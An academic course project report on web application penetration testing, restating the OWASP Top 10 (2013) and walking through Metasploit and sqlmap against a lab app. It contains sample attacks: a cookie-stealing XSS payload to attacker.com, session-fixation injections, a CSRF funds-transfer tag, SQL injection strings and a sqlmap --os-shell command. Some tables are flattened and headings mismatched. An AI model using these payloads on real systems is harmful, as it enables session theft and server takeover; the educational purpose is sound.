Course Final Project Report

“Analysis of Web Application Penetration Testing”

PGDIT (1st Batch, Intake January’2016)

SUPERVISED BY
Jesmin Akhter
Associate Professor
Institute of Information Technology

GROUP MEMBERS BY
Md Yusuf Miah
ID: 16112

Jahangirnagar University
February 2017

1
 Analysis of Web Application Penetration Testing

OVERVIEW
The primary objective for a analysis of web application penetration test is to identify
exploitable vulnerabilities in applications before hackers are able to discover and exploit
them. Web application penetration testing will reveal real-world opportunities for
hackers to be able to compromise applications in such a way that allows for unauthorized
access to sensitive data or even take-over systems for malicious/non-business purposes.

This type of assessment is an attack simulation carried out by our highly trained security
consultants in an effort to:

 Identify application security flaws present in the environment

 Understand the level of risk for your organization
 Help address and fix identified application flaws

GDIT Security’s application penetration testers have experience developing software not
just trying to break it. They leverage this experience to zero in on critical issues and
provide actionable remediation guidance.

As a result of our penetration tests, you’ll be able to view your applications through the
eyes of both a hacker and an experienced developer to discover where you can improve
your security posture. Our consultants produce findings in written reports and provide
your team with the guidance necessary to effectively remediate any issues we uncover.
OVERVIEW

2
APPROACH
PGDIT Security’s web application penetration testing service utilizes a comprehensive,
risk-based approach to manually identify critical application-centric vulnerabilities that
exist on all in-scope applications.

Using this industry-standard approach, PGDIT Security’s comprehensive method covers

the classes of vulnerabilities in the Open Web Application Security Project (OWASP) Top
10 2013 including, but not limited to: Injection, Cross-Site Scripting, Cross-Site Request
Forgery, Invalidated Redirects & Forwards, Broken Authentication & Session
Management, Security Misconfiguration, Insecure Direct Object Access and more…

3
4
5
 Chapter One
Information Gathering

INFORMATION GATHERING

1. Information Gathering
In the same manner Web Pentesting is also much like this. When you are going to hunt a
website down then you must know what really you are going to deal with, if you know
your enemy which you are going to face then you can prepare yourself for that.

So this is why Information Gathering is the first phase of Penetration testing. But now
arise the question what information are we going to collect and where are we going to
get that information from. "Where and how".
1.1 There are two types of information gathering:
 Passive Information Gathering
 Active Information Gathering

I) Passive Information Gathering

Passive information gathering can be stated collecting from other sources apart from
victim and we can discover information about targets without touching their systems or
client concern.
For example, you can identify network boundaries, operating systems, open ports, and
web server software in use on the target without touching their system.

II) Active Information Gathering

Active information gathering can be defined as piling up all information when
information of victim or client is been carried out in premises.

6
1.2. OPERATING SYSTEM
Well most of you know what an operating system is but still if any one is confused that
why do we need to know the OS, then let me clarify that when we know the operating
system then we can find out the rights attacks, Open Ports, Exploits, Common Services
etc which will help us later in pentesting.

7
1.3. LOGIN PAGES
While pentesting when you find a login page or admin login page which requires some
username and password to login then that is nothing to get sub about, actually getting a
login page is just like finding a Locked door of a Secure house. But the to break inside you
can use a master key or you can even break the lock. In the same manner Login pages can
also be tested for many known Attacks

8
1.4. WHO IS INFORMATION:
This is the most basic information about a domain, It shows the registration Details of the
website in which you can commonly see who registered the domain and which date did
he registered it on, when will it expire etc. This information may help you sometimes in
Social engineering like sending him email on his registered email. Or you use his address,
name or contact number in various tasks of Social Engineering.

9
1.5. IP ADDRESS

Well this ones for newbie’s, actually IP address is the real address behind any domain
name which are resolved by the nameservers. Every Box or you can say a system contains
a unique IP address for example (213.155.66.22). Using it computers communicate to
each other. IP Address will help us targeting the network as well as find open ports and
other exploitable services on the system while pentesting.

10
1.6. NAME SERVERS
These are the DNS resolvers, for example when you type in google.com in your browser
the DNS resolvers find the real IP behind and take your request to the server, and bring
back the response. We can later target the nameservers to for DNS based attacks testing
of our pentesting.

11
1.7. WEB SERVER
Webservers the one we are dealing over here is an application which is running over an
Operating system and serves to the web requests coming to the system. Like Apache,
Tomcat, IIS etc are webservers running on an operating system when any web request is
sent to a system they handle it and they are responsible for giving out the response.
Many times you can get Exploits related to a webserver and get a way into the sytem
using that exploit, and if you know which webserver is bieng used then it will help you to
find out the default directories or known vulnerabilities for that web server.

12
1.8. SUB DOMAIN
If you do not know what subdomains are then, Subdomain are domains maintained
under a domain for example google.com is a domain name then mail.google.com is a
subdomain inside it. We need to collect all available sub domains for a website. In many
cases you may find hidden or private domain where they are maintaining something
private and such application are usually left vulnerable and exposed because of the
assumption the no one can reach them.

13
1.9. WEB APPLICATION
Many times what you are targetting is a public Web Application like Joomla, Wordress or
any other. We also need to get all the information about the web Application so we can
find any known Vulnerability for that particular Version or else we can find any
Vulnerability in the source code available online.

14
1.10. WEB APPLICATION FIREWALL
We can also test if they are using any firewall for that we can know what we are going to
face and is there any ways to bypass that firewall. These are some of the common things
we are going to try and find about our target.

15
 Chapter Two
Vulnerability Analysis Of Web Application

VULNERABILITY ANALYSIS
Vulnerability analysis, also known as vulnerability assessment, is a process that defines,
identifies, and classifies the security holes (vulnerabilities) in a computer, network, or
communications infrastructure. In addition, vulnerability analysis can forecast the
effectiveness of proposed countermeasures and evaluate their actual effectiveness after
they are put into use.

The Open Web Application Security Project (OWASP) is an international organization

dedicated to enhancing the security of web applications. As part of its mission, OWASP
sponsors numerous security-related projects, one of the most popular being the Top 10
Project. This project publishes a list of what it considers the current top 10 web
application security risks worldwide. The list describes each vulnerability, provides
examples, and offers suggestions on how to avoid it. The most recent version of the top
10 list, officially published in June 2013, updated the 2010 list. The 2013 Top 10 list is
based on data from seven application security firms, spanning over 500,000
vulnerabilities across hundreds of organizations. OWASP prioritized the top 10 according
to their prevalence and their relative exploitability, detectability, and impact.
As a further aid in understanding some of these vulnerabilities, the IBM Security Systems
Ethical Hacking team has prepared the following videos.

16
OPEN WEB APPLICATION SECURITY PROJEC (OWASP) TOP TEN VULNERABLE LIST

2.1: Injection.
2.2: Broken Authentication and Session Management.
2.3: Cross-Site Scripting (XSS)
2.4: Insecure Direct Object References.
2.5: Security Misconfiguration.
2.6: Sensitive Data Exposure

2.7: Missing function Level Access Control

2.8: Cross-Site Request Forgery (CSRF)
2.9: Using Component with Known Vulnerablities

2.10: Unvalidated Redirects and Forwards

17
2.1 INJECTION
Injection flaws, such as SQL, OS, and LDAP injection occur when untrusted data is sent to
an interpreter as part of a command or query. The attacker’s hostile data can trick the
interpreter into executing unintended commands or accessing data without proper
authorization.

A1- Injection
Threat Attack Security Weakness Technical Business
Agents Vectors Impacts Impacts
Application Exploitability Prevalence Detectability Impact Application
Specific DIFFICULT UNCOMMON AVERAGE SEVERE / Business
Specific

Consider Attacker Injection flaws occur when an Injection can Consider the
anyone who sends simple application sends untrusted result in data business
can send text-based data to an interpreter. loss or value of the
untrusted data attacks that Injection flaws are very corruption, affected

to the system, exploit the prevalent, particularly in lack of data and the
including syntax of the legacy code. They are often accountability, platform
external users, targeted found in SQL, LDAP, Xpath, or or denial of running the
internal users, interpreter. NoSQL queries; OS access. interpreter.
and Almost any commands; XML parsers, Injection can All data
administrators. source of data SMTP Headers, program sometimes could be

can be an arguments, etc. Injection lead to stolen,

injection flaws are easy to discover complete host modified, or
vector, when examining code, but takeover. deleted.

including frequently hard to discover Could your

internal via testing. Scanners and reputation
sources. fuzzers can help attackers find be harmed?
injection flaws.

18
Example Attack Scenarios
Scenario #1: The application uses untrusted data in the construction of the following
vulnerable SQL call:
String query = "SELECT * FROM accounts WHERE custID='" +
request.getParameter("id") + "'";

Scenario #2: Similarly, an application’s blind trust in frameworks may result in queries
that are still vulnerable, (e.g., Hibernate Query Language (HQL)):
Query HQLQuery = session.createQuery(“FROM accounts
WHERE custID='“ + request.getParameter("id") + "'");

In both cases, the attacker modifies the ‘id’ parameter value in her browser to send:
' or '1'='1. For example:

http://example.com/app/accountView?id=' or '1'='1

This changes the meaning of both queries to return all the records from the accounts
table. More dangerous attacks could modify data or even invoke stored procedures.

19
2. 2. BROKEN AUTHENTICATION AND SESSION MANAGEMENT:
Application functions related to authentication and session management are often not
implemented correctly, allowing attackers to compromise passwords, keys, or session
tokens, or to exploit other implementation flaws to assume other users’ identities.

A2- Broken Authentication and Session

Management
Threat Attack Security Weakness Technical Business
Agents Vectors Impacts Impacts
Application Exploitability Prevalence Detectability Impact Application
Specific DIFFICULT UNCOMMON AVERAGE SEVERE / Business
Specific
Consider Attackers The most common flaw is Failure Consider the
who can gain typically don’t simply not encrypting sensitive frequently business
access to break crypto data. When crypto is compromises value of the

your directly. They employed, weak key all data that lost data and
sensitive break generation and management, should have impact to
data and any something and weak algorithm usage is been your
backups of else, such as common, particularly weak protected. reputation.
that data. steal keys, do password hashing techniques. Typically, this What is your
This includes man-in-the- Browser weaknesses are very information legal liability
the data at middle common and easy to detect, includes if this data is
rest, in attacks, or but hard to exploit on a large sensitive data exposed?
transit, and steal clear text scale. External attackers have such as Also consider

even in your data off the difficulty detecting server side health the damage
customers’ server, while flaws due to limited access and records, to your
browsers. in transit, or they are also usually hard to credentials, reputation.
Include both from the exploit. personal
external and user’s data, credit
internal browser. cards, etc.
threats.

20
Session fixation:
Session Fixation is an attack that permits an attacker to hijack a valid user session. The
attack explores a limitation in the way the web application manages the session ID, more
specifically the vulnerable web application. When authenticating a user, it doesn’t assign
a new session ID, making it possible to use an existent session ID. The attack consists of
obtaining a valid session ID (e.g. by connecting to the application), inducing a user to
authenticate himself with that session ID, and then hijacking the user-validated session
by the knowledge of the used session ID. The attacker has to provide a legitimate Web
application session ID and try to make the victim's browser use it.
The session fixation attack is a class of Session Hijacking, which steals the established
session between the client and the Web Server after the user logs in. Instead, the Session
Fixation attack fixes an established session on the victim's browser, so the attack starts
before the user logs in.
There are several techniques to execute the attack; it depends on how the Web
application deals with session tokens. Below are some of the most common techniques:
• Session token in the URL argument: The Session ID is sent to the victim in a hyperlink
and the victim accesses the site through the malicious URL.

21
• Session token in a hidden form field: In this method, the victim must be tricked to
authenticate in the target Web Server, using a login form developed for the attacker. The
form could be hosted in the evil web server or directly in html formatted e-mail.
• Session ID in a cookie:
* Client-side script
Most browsers support the execution of client-side scripting. In this case, the aggressor
could use attacks of code injection as the XSS (Cross-site scripting) attack to insert a
malicious code in the hyperlink sent to the victim and fix a Session ID in its cookie. Using
the function document.cookie, the browser which executes the command becomes
capable of fixing values inside of the cookie that it will use to keep a session between the
client and the Web Application.
* <META> tag
<META> tag also is considered a code injection attack, however, different from the XSS
attack where undesirable scripts can be disabled, or the execution can be denied. The
attack using this method becomes much more efficient because it's impossible to disable
the processing of these tags in the browsers.
* HTTP header response
This method explores the server response to fix the Session ID in the victim's browser.
Including the parameter Set-Cookie in the HTTP header response, the attacker is able to
insert the value of Session ID in the cookie and sends it to the victim's browser.
Example 1
Client-side scripting
The processes for the attack using the execution of scripts in the victim's browser are
very similar to example 1, however, in this case, the Session ID does not appear as an
argument of the URL, but inside of the cookie. To fix the value of the Session ID in the
victim's cookie, the attacker could insert a JavaScript code in the URL that will be
executed in the victim's browser.
http://website.kom/<script>document.cookie=”sessionid=abcd”;</script>
Example 3
<META> tag

22
As well as client-side scripting, the code injection must be made in the URL that will be
sent to the victim.
http://website.kon/<meta http-equiv=Set-Cookie content=”sessionid=abcd”>
Example 4
HTTP header response
The insertion of the value of the SessionID into the cookie manipulating the server
response can be made, intercepting the packages exchanged between the client and the
Web Application inserting the Set-Cookie parameter.

Figure 2. Set-Cookie in the HTTP header response

Example Attack Scenarios

Scenario #1: Airline reservations application supports URL rewriting, putting session IDs
in the URL:
http://example.com/sale/saleitems?sessionid=268544541&dest=Hawaii
An authenticated user of the site wants to let his friends know about the sale. He e-mails
the above link without knowing he is also giving away his session ID. When his friends use
the link they will use his session and credit card.
Scenario #2: Application’s timeouts aren’t set properly. User uses a public computer to
access site. Instead of selecting “logout” the user simply closes the browser tab and
walks away. Attacker uses the same browser an hour later, and that browser is still
authenticated.
Scenario #3: Insider or external attacker gains access to the system’s password database.
User passwords are not properly hashed, exposing every users’ password to the attacker.

23
2.3. CROSS-SITE SCRIPTING (XSS)
XSS flaws occur whenever an application takes untrusted data and sends it to a web browser
without proper validation or escaping. XSS allows attackers to execute scripts in the victim’s
browser which can hijack user sessions, deface web sites, or redirect the user to malicious sites.
implementation flaws to assume other users’ identities.

A3- Cross-Site Scripting (XSS)

Threat Attack Security Weakness Technical Business
Agents Vectors Impacts Impacts
Application Exploitability Prevalence Detectability Impact Application
Specific DIFFICULT UNCOMMON AVERAGE SEVERE / Business
Specific
Consider Attacker sends XSS is the most prevalent Attackers Consider the
anyone who text-based web application security can execute business
can send attack scripts flaw. XSS flaws occur when scripts in a value of the
untrusted data that exploit an application includes user victim’s affected
to the system, the supplied data in a page sent browser to system and
including interpreter in to the browser without hijack user all the data it
external users, the browser. properly validating or sessions, processes.
internal users, Almost any escaping that content. There deface web Also
and source of data are two different types of sites, insert consider the
administrators. can be an XSS flaws: 1) Stored and 2) hostile business
attack vector, Reflected, and each of these content, impact of
including can occur on the a) Server or redirect public
internal b) on the Client. users, hijack exposure of
sources such Detection of most Server the user’s the
as data from XSS flaws is fairly easy via browser vulnerability.
the database. testing or code analysis. using

Client XSS is very difficult malware,

to identify. etc.

24
Example Attack Scenarios
The application uses untrusted data in the construction of the following HTML snippet
without validation or escaping:
(String) page += "<input name='creditcard' type='TEXT'
value='" + request.getParameter("CC") + "'>";
The attacker modifies the 'CC' parameter in their browser to:
'><script>document.location= 'http://www.attacker.com/cgi-
bin/cookie.cgi ?foo='+document.cookie</script>'.
This causes the victim’s session ID to be sent to the attacker’s website, allowing the
attacker to hijack the user’s current session.
Note that attackers can also use XSS to defeat any automated CSRF defense the
application might employ. See A8 for info on CSRF.

25
2.4. INSECURE DIRECT OBJECT REFERENCES
A direct object reference occurs when a developer exposes a reference to an internal
implementation object, such as a file, directory, or database key. Without an access
control check or other protection, attackers can manipulate these references to access
unauthorized data.

A4- Insecure Direct Object References

Threat Attack Security Weakness Technical Business
Agents Vectors Impacts Impacts
Applicatio Exploitabilit Prevalence Detectability Impact Application
n Specific y UNCOMMON AVERAGE SEVERE / Business
DIFFICULT Specific
Consider the Attacker, who Applications frequently use Such flaws Consider the
types of is an the actual name or key of an can business
users of authorized object when generating web compromise value of the
your system user, pages. Applications don’t all the data exposed
system. Do simply always verify the user is that can be data.
any users changes a authorized for the target referenced by Also
have only parameter object. This results in an the consider the
partial value that insecure direct object parameter. business
access to directly refers reference flaw. Testers can Unless object impact of
certain to a system easily manipulate parameter references are public
types of object to values to detect such flaws. unpredictable, exposure of
system another Code analysis quickly shows it’s easy for an the
data? object the whether authorization is attacker to vulnerability.
user isn’t properly verified. access all
authorized available data
for. Is access of that type.
granted?

26
Example Attack Scenarios:
The application uses unverified data in a SQL call that is accessing account information:
String query = "SELECT * FROM accts WHERE account = ?";
PreparedStatement pstmt = connection.prepareStatement(query
, … );
pstmt.setString( 1, request.getParameter("acct"));
ResultSet results = pstmt.executeQuery( );
The attacker simply modifies the ‘acct’ parameter in their browser to send whatever
account number they want. If not verified, the attacker can access any user’s account,
instead of only the intended customer’s account.
http://example.com/app/accountInfo?acct=notmyacct

27
2.5. SECURITY MISCONFIGURATION:
Good security requires having a secure configuration defined and deployed for the application,
frameworks, application server, web server, database server, and platform. Secure settings
should be defined, implemented, and maintained, as defaults are often insecure. Additionally,
software should be kept up to date.

A5- Insecure Direct Object References

Threat Attack Security Weakness Technical Business
Agents Vectors Impacts Impacts
Applicatio Exploitabilit Prevalence Detectabilit Impact Application /
n Specific y UNCOMMO y SEVERE Business
DIFFICULT N AVERAGE Specific
Consider Attacker Security misconfiguration The system The system
anonymous accesses can happen at any level of an could be could be
external default application stack, including completely completely
attackers as accounts, the platform, web server, compromise compromise
well as users unused pages, application server, database, d without d without
with their unpatched framework, and custom you knowing you knowing
own flaws, code. Developers and system it. All of it. All your
accounts unprotected administrators need to work your data data could be
that may files and together to ensure that the could be stolen or
attempt to directories, entire stack is configured stolen or modified
compromise etc. to gain properly. Automated modified slowly over
the system. unauthorized scanners are useful for slowly over time.
Also access to or detecting missing patches, time. Recovery
consider knowledge of misconfigurations, use of Recovery costs could
insiders the system. default accounts, costs could be
wanting to unnecessary services, etc. be expensive.
disguise expensive.
their actions.

28
Example Attack Scenarios:
Scenario #1: The app server admin console is automatically installed and not removed.
Default accounts aren’t changed. Attacker discovers the standard admin pages are on
your server, logs in with default passwords, and takes over.

Scenario #2: Directory listing is not disabled on your server. Attacker discovers she can
simply list directories to find any file. Attacker finds and downloads all your compiled
Java classes, which she decompiles and reverse engineers to get all your custom code.
She then finds a serious access control flaw in your application.

Scenario #3: App server configuration allows stack traces to be returned to users,
potentially exposing underlying flaws. Attackers love the extra information error
messages provide.

Scenario #4: App server comes with sample applications that are not removed from your
production server. Said sample applications have well known security flaws attackers can
use to compromise your server.

29
2.6. SENSITIVE DATA EXPOSURE:
Many web applications do not properly protect sensitive data, such as credit cards, tax
IDs, and authentication credentials. Attackers may steal or modify such weakly protected
data to conduct credit card fraud, identity theft, or other crimes. Sensitive data deserves
extra protection such as encryption at rest or in transit, as well as special precautions
when exchanged with the browser.

A6-Sensitive Data Exposure

Threat Attack Security Weakness Technical Business
Agents Vectors Impacts Impacts
Application Exploitability Prevalence Detectability Impact Application
Specific DIFFICULT UNCOMMON AVERAGE SEVERE / Business
Specific
Consider Attackers The most common flaw is Failure Consider the

who can gain typically don’t simply not encrypting sensitive frequently business
access to break crypto data. When crypto is compromises value of the
your directly. They employed, weak key all data that lost data and
sensitive break generation and management, should have impact to
data and any something and weak algorithm usage is been your
backups of else, such as common, particularly weak protected. reputation.

that data. steal keys, do password hashing techniques. Typically, this What is your
This includes man-in-the- Browser weaknesses are very information legal liability
the data at middle common and easy to detect, includes if this data is

rest, in attacks, or but hard to exploit on a large sensitive data exposed?

transit, and steal clear text scale. External attackers have such as Also consider
even in your data off the difficulty detecting server side health the damage
customers’ server, while flaws due to limited access and records, to your
browsers. in transit, or they are also usually hard to credentials, reputation.

30
Include both from the exploit. personal
external and user’s data, credit
internal browser. cards, etc.
threats.

Example Attack Scenarios:

Scenario #1: An application encrypts credit card numbers in a database using automatic
database encryption. However, this means it also decrypts this data automatically when
retrieved, allowing an SQL injection flaw to retrieve credit card numbers in clear text. The
system should have encrypted the credit card numbers using a public key, and only
allowed back-end applications to decrypt them with the private key.

Scenario #2: A site simply doesn’t use SSL for all authenticated pages. Attacker simply
monitors network traffic (like an open wireless network), and steals the user’s session
cookie. Attacker then replays this cookie and hijacks the user’s session, accessing the
user’s private data.

Scenario #3: The password database uses unsalted hashes to store everyone’s
passwords. A file upload flaw allows an attacker to retrieve the password file. All of the
unsalted hashes can be exposed with a rainbow table of precalculated hashes.

31
2.7. MISSING FUNCTION LEVEL ACCESS CONTROL
Most web applications verify function level access rights before making that functionality
visible in the UI. However, applications need to perform the same access control checks
on the server when each function is accessed. If requests are not verified, attackers will
be able to forge requests in order to access functionality without proper authorization.

A7- Missing Function Level Access

Control
Threat Attack Security Weakness Technical Business
Agents Vectors Impacts Impacts
Application Exploitability Prevalence Detectability Impact Application
Specific DIFFICULT UNCOMMON AVERAGE SEVERE / Business
Specific
Anyone with Attacker, who Applications do not always Such flaws Consider the
network is an protect application functions allow business
access can authorized properly. Sometimes, attackers to value of the
send your system user, function level protection is access exposed
application a simply changes managed via configuration, unauthorized functions
request. the URL or a and the system is functionality. and the data
Could parameter to a misconfigured. Sometimes, Administrative they
anonymous privileged developers must include the functions are process.
users access function. Is proper code checks, and they key targets for Also
private access forget. this type of consider the
functionality granted? Detecting such flaws is easy. attack. impact to
or regular Anonymous The hardest part is your
users a users could identifying which pages reputation if
privileged access private (URLs) or functions exist to this
function? functions that attack. vulnerability
aren’t became
protected. public.

32
Example Attack Scenarios:
Scenario #1: The attacker simply force browses to target URLs. The following URLs
require authentication. Admin rights are also required for access to the dmin_getappInfo
page.

http://example.com/app/getappInfo
http://example.com/app/admin_getappInfo

If an unauthenticated user can access either page, that’s a flaw. If an authenticated, non-
admin, user is allowed to access the admin_getappInfo page, this is also a flaw, and may
lead the attacker to more improperly protected admin pages.

Scenario #2: A page provides an 'action' parameter to specify the function being invoked,
and different actions require different roles. If these roles aren’t enforced, that’s a flaw.

33
2.8. CROSS-SITE REQUEST FORGERY (CSRF):
A CSRF attack forces a logged-on victim’s browser to send a forged HTTP request,
including the victim’s session cookie and any other automatically included authentication
information, to a vulnerable web application. This allows the attacker to force the
victim’s browser to generate requests the vulnerable application thinks are legitimate
requests from the victim.

A8- Cross-Site Request Forgery (CSRF)

Threat Attack Security Weakness Technical Business
Agents Vectors Impacts Impacts
Application Exploitability Prevalence Detectability Impact Application
Specific DIFFICULT UNCOMMON AVERAGE SEVERE / Business
Specific
Consider Attacker CSRF takes advantage the fact Attackers can Consider
anyone who creates forged that most web apps allow trick victims the business
can load HTTP requests attackers to predict all the into value of the
content into and tricks a details of a particular action. performing affected
your users’ victim into Because browsers send any state data or
browsers, submitting credentials like session changing application
and thus them via cookies automatically, operation the functions.
force them to image tags, attackers can create victim is Imagine not
submit a XSS, or malicious web pages which authorized to being sure if
request to numerous generate forged requests that perform, e.g., users
your website. other are indistinguishable from updating intended to
Any website techniques. If legitimate ones. account take these
or other the user is Detection of CSRF flaws is details, actions.
HTML feed authenticated, fairly easy via penetration making Consider
that your the attack testing or code analysis. purchases, the impact
users access succeeds. logout and to your
could do this. even login. reputation.

34
Example Attack Scenarios:
The application allows a user to submit a state changing request that does not include
anything secret. For example:

http://example.com/app/transferFunds?amount=1500&destination
Account=4673243243

So, the attacker constructs a request that will transfer money from the victim’s account to
the attacker’s account, and then embeds this attack in an image request or iframe stored on
various sites under the attacker’s control:

<img
src="http://example.com/app/transferFunds?amount=1500&destin
ationAccount=attackersAcct#" width="0" height="0" />

If the victim visits any of the attacker’s sites while already authenticated to example.com,
these forged requests will automatically include the user’s session info, authorizing the
attacker’s request.

35
2.9. USING COMPONENTS WITH KNOWN VULNERABILITIES
Components, such as libraries, frameworks, and other software modules, almost always
run with full privileges. If a vulnerable component is exploited, such an attack can
facilitate serious data loss or server takeover. Applications using components with known
vulnerabilities may undermine application defenses and enable a range of possible
attacks and impacts.

A9- Using Components with Known

Vulnerabilities
Threat Attack Security Weakness Technical Business
Agents Vectors Impacts Impacts
Application Exploitability Prevalence Detectability Impact Application
Specific DIFFICULT UNCOMMON AVERAGE SEVERE / Business
Specific
Some Attacker Virtually every application The full Consider
vulnerable identifies a has these issues because range of what each
components weak most development teams weaknesses vulnerability
(e.g., component don’t focus on ensuring their is possible, might mean
framework through components/libraries are up including for the
libraries) can scanning or to date. In many cases, the injection, business
be identified manual developers don’t even know broken controlled
and analysis. He all the components they are access by the
exploited customizes using, never mind their control, XSS, affected
with the exploit as versions. Component etc. The application.
automated needed and dependencies make things impact could It could be
tools, executes the even worse. range from trivial or it
expanding attack. It gets minimal to could mean
the threat more difficult complete complete
agent pool if the used host compromise.

36
beyond component is takeover and
targeted deep in the data
attackers to application. compromise.
include
chaotic
actors.

Example Attack Scenarios:

Component vulnerabilities can cause almost any type of risk imaginable, ranging from the
trivial to sophisticated malware designed to target a specific organization. Components
almost always run with the full privilege of the application, so flaws in any component
can be serious, The following two vulnerable components were downloaded 22m times
in 2011.
 Apache CXF Authentication Bypass – By failing to provide an identity token,
attackers could invoke any web service with full permission. (Apache CXF is a
services framework, not to be confused with the Apache Application Server.)
 Spring Remote Code Execution – Abuse of the Expression Language
implementation in Spring allowed attackers to execute arbitrary code, effectively
taking over the server.
Every application using either of these vulnerable libraries is vulnerable to attack as both
of these components are directly accessible by application users. Other vulnerable
libraries, used deeper in an application, may be harder to exploit.

37
2.10. UNVALIDATED REDIRECTS AND FORWARDS
Web applications frequently redirect and forward users to other pages and websites, and
use untrusted data to determine the destination pages. Without proper validation,
attackers can redirect victims to phishing or malware sites, or use forwards to access
unauthorized pages.

A10- Unvalidated Redirects and Forwards

Threat Attack Security Weakness Technical Business
Agents Vectors Impacts Impacts
Application Exploitability Prevalence Detectability Impact Application
Specific DIFFICULT UNCOMMON AVERAGE SEVERE / Business
Specific
Consider Attacker links Applications frequently Such Consider the
anyone who to unvalidated redirect users to other redirects may business
can trick your redirect and pages, or use internal attempt to value of
users into tricks victims forwards in a similar install retaining
submitting a into clicking it. manner. Sometimes the malware or your users’
request to Victims are target page is specified in an trick victims trust.
your website. more likely to unvalidated parameter, into What if they
Any website click on it, allowing attackers to choose disclosing get owned
or other since the link is the destination page. passwords or by
HTML feed to a valid site. Detecting unchecked other malware?
that your Attacker redirects is easy. Look for sensitive What if
users use targets unsafe redirects where you can set information. attackers
could do this. forward to the full URL. Unchecked Unsafe can access
bypass forwards are harder, forwards may internal only
security because they target internal allow access functions.
checks. pages. control
bypass.

38
Example Attack Scenarios:
Scenario #1: The application has a page called “redirect.jsp” which takes a single
parameter named “url”. The attacker crafts a malicious URL that redirects users to a
malicious site that performs phishing and installs malware.

http://www.example.com/redirect.jsp?url=evil.com

Scenario #2: The application uses forwards to route requests between different parts of
the site. To facilitate this, some pages use a parameter to indicate where the user should
be sent if a transaction is successful. In this case, the attacker crafts a URL that will pass
the application’s access control check and then forwards the attacker to administrative
functionality for which the attacker isn’t authorized.

http://www.example.com/boring.jsp?fwd=admin.jsp

39
 Chapter Three
Exploitation

Exploitation

Exploitation is the meridian for every security engineer. It is a great feeling to exploit a
first machine and get full control over that machine. Exploitation is a very difficult task to
accomplish. We need to know much about the target. In this chapter i will show you
advanced techniques to get shell on the target system and you will gain full control over
the victim system.

How to hack a website with Metasploit

By Sumedt Jitpukdebodin
Normally, Penetration Tester or a Hacker use Metasploit to exploit vulnerability services
in the target server or to create a payload to make a backdoor in the hacked server. But
Metastploit has improved with many plugins and modules and now it can do more than
that. It can be used to pentest web applications too.
In this article, I will show you how to use Metasploit for scanning to get the information
of web server and use Metasploit to be a vulnerability assessment of web application.

Scenario
In this article, we will try to attack client who use this vulnerability server. And this is the
detail of character in this scenario.
1. Attacker Machine - Backtrack 5 R3 192.168.1.137
2. Target – WackoPicko web application(one of website in OWASP Broken Web
Application v1.0) 192.168.1.138

40
3.1. SCANNING PHASE
First thing when you want to hack server, you must get the information of target as much
as you can. So the first thing we must do is scan server.
Metastploit has “db_nmap” a module that use to run nmap (the most famous scanning
tool) and when it gets the result from nmap, it is putting the results into the database
which was created to keep the results. Follow these steps:
1. Open Metasploit console
root@bt:/ msfconsole
2. In the Metasploit console use db_nmap command with IP Address of target machine.
msf > db_nmap
[*] Usage: db_nmap [nmap options]

msf > db_nmap 192.168.77.138

3. We can check the result of scanning with “hosts” command.

msf > hosts –h

41
 msf> hosts

4. You can use “services” command to receive a detail of services. And it has “created_at,
info, name, port, proto, state, updated_at” column for display.
msf > services –h

msf > services

42
 msf> services -c port,name,state

From above, the result shows that the target server has web service. Metasploit has
module for crawling a website too.
1. Pick up the auxiliary/scanner/http/crawler module.
msf> use auxiliary/scanner/http/crawler

43
2. Specific the target with RHOST
msf auxiliary(crawler) > set RHOST 192.168.77.138

In this article, we focus to WackoPicko web application and we will specific it with URI
msf auxiliary(crawler) > set URI /WackoPicko/

3. Start crawling website

msf auxiliary(crawler) > run

From this phase, you can get the information from server and web application. The
next phase, we will use the information for attack it.

44
3.2. EXPLOIT PHASE

In this phase, we will try to attack it with vulnerability scanning module of Metasploit and
try to use it with another attack tool.

WMAP Plugin:
"WMAP is a general purpose web application scanning framework for Metasploit 3. The
architecture is simple and its simplicity is what makes it powerful. It's a different
approach compared to other open source alternatives and commercial scanners, as
WMAP is not build around any browser or spider for data capture and manipulation.", we
will use this module to vulnerability scanning website.
The step are
1. load wmap modules
msf auxiliary(crawler) > load wmap

2. In the scanning phase, we has already crawling the web and it keeps all information
into database. WMAP Plugin can read it to learn the structure of web application. And
you can display detail of web application with wmap_sites command.
msf auxiliary(crawler) > wmap_sites

45
 msf auxiliary(crawler) > wmap_sites –l

3. If you want to see the structure of web application, you can use wmap_sites
command.
wmap_sites -s [target_id]
msf auxiliary(crawler) > wmap_sites -s 0

46
4. Now we are ready for scanning, so we will specific the target of web application with
wmap_targets command.
msf auxiliary(crawler) > wmap_targets

msf auxiliary(crawler) > wmap_targets –t

5. Start automate vulnerability scan with wmap_run command.

msf auxiliary(crawler) > wmap_run

msf auxiliary(crawler) > wmap_run –e

47
6. After finished scan, you can check the result of scan with wmap_vulns
msf auxiliary(crawler) > wmap_vulns –l

From the result, we know some vulnerability of this web application such as
“sensitive file or directory”, “admin directory”, “back up directory”, “SQL Injection
vulnerability page”, etc. Now you can try to attack it from this result.

48
3.3. SQL INJECTION WITH METASPLOIT

If you want to test the parameter that has SQL Injection vulnerability or not, you can try
to test it with Metasploit too. I will use auxiliary/scanner/http/blind_sql_query module
for this test.

1. After we scan with WMAP Plugin, we know that

http://192.168.77.138/WackoPicko/users/login.php has SQL Injection vulnerability and it
has 2 parameter: username, password. Now we try to test username parameter with
auxiliary/scanner/http/blind_sql_query module.
msf > use auxiliary/scanner/http/blind_sql_query
msf auxiliary(blind_sql_query) > show options

2. Specific the environment of target page.

msf auxiliary(blind_sql_query) > set DATA
username=hacker&password=password&submit=login
msf auxiliary(blind_sql_query) > set METHOD POST
msf auxiliary(blind_sql_query) > set PATH /WackoPicko/users/login.php
msf auxiliary(blind_sql_query) > set RHOSTS 192.168.77.138

49
3. Start to test.
msf auxiliary(blind_sql_query) > run

The result is “username” parameter has SQL Injection vulnerability. You can test another
SQL Injection technique [ Error Based Technique] with
auxiliary/scanner/http/error_sql_injection module.

Now we know “username” parameter of users/login.php page has vulnerability and we

use this vulnerability to owning the website with sqlmap. SQLMap is the famous tool for
SQL Injection and it great work with Metasploit.

50
1. we will use 3 options of sqlmap for this attack.
-u URL target url
-data=DATA Data string to be sent through POST
-random-agent Use randomly selected HTTP User-Agent header
--os-shell Prompt for an interactive operating system shell

2.Now, run the sqlmap with detail that we have. After this command, if the user that
used for this application has enough privilege, you can get the shell. (This below is the
output from SQLMap process for upload shell.)

root@bt:/pentest/database/sqlmap# ./sqlmap.py -u
"http://192.168.77.138/WackoPicko/users/login.php" --data
"username=hacker&password=password&submit=login" --os-shell

sqlmap/1.0-dev-4649450 - automatic SQL injection and database takeover tool

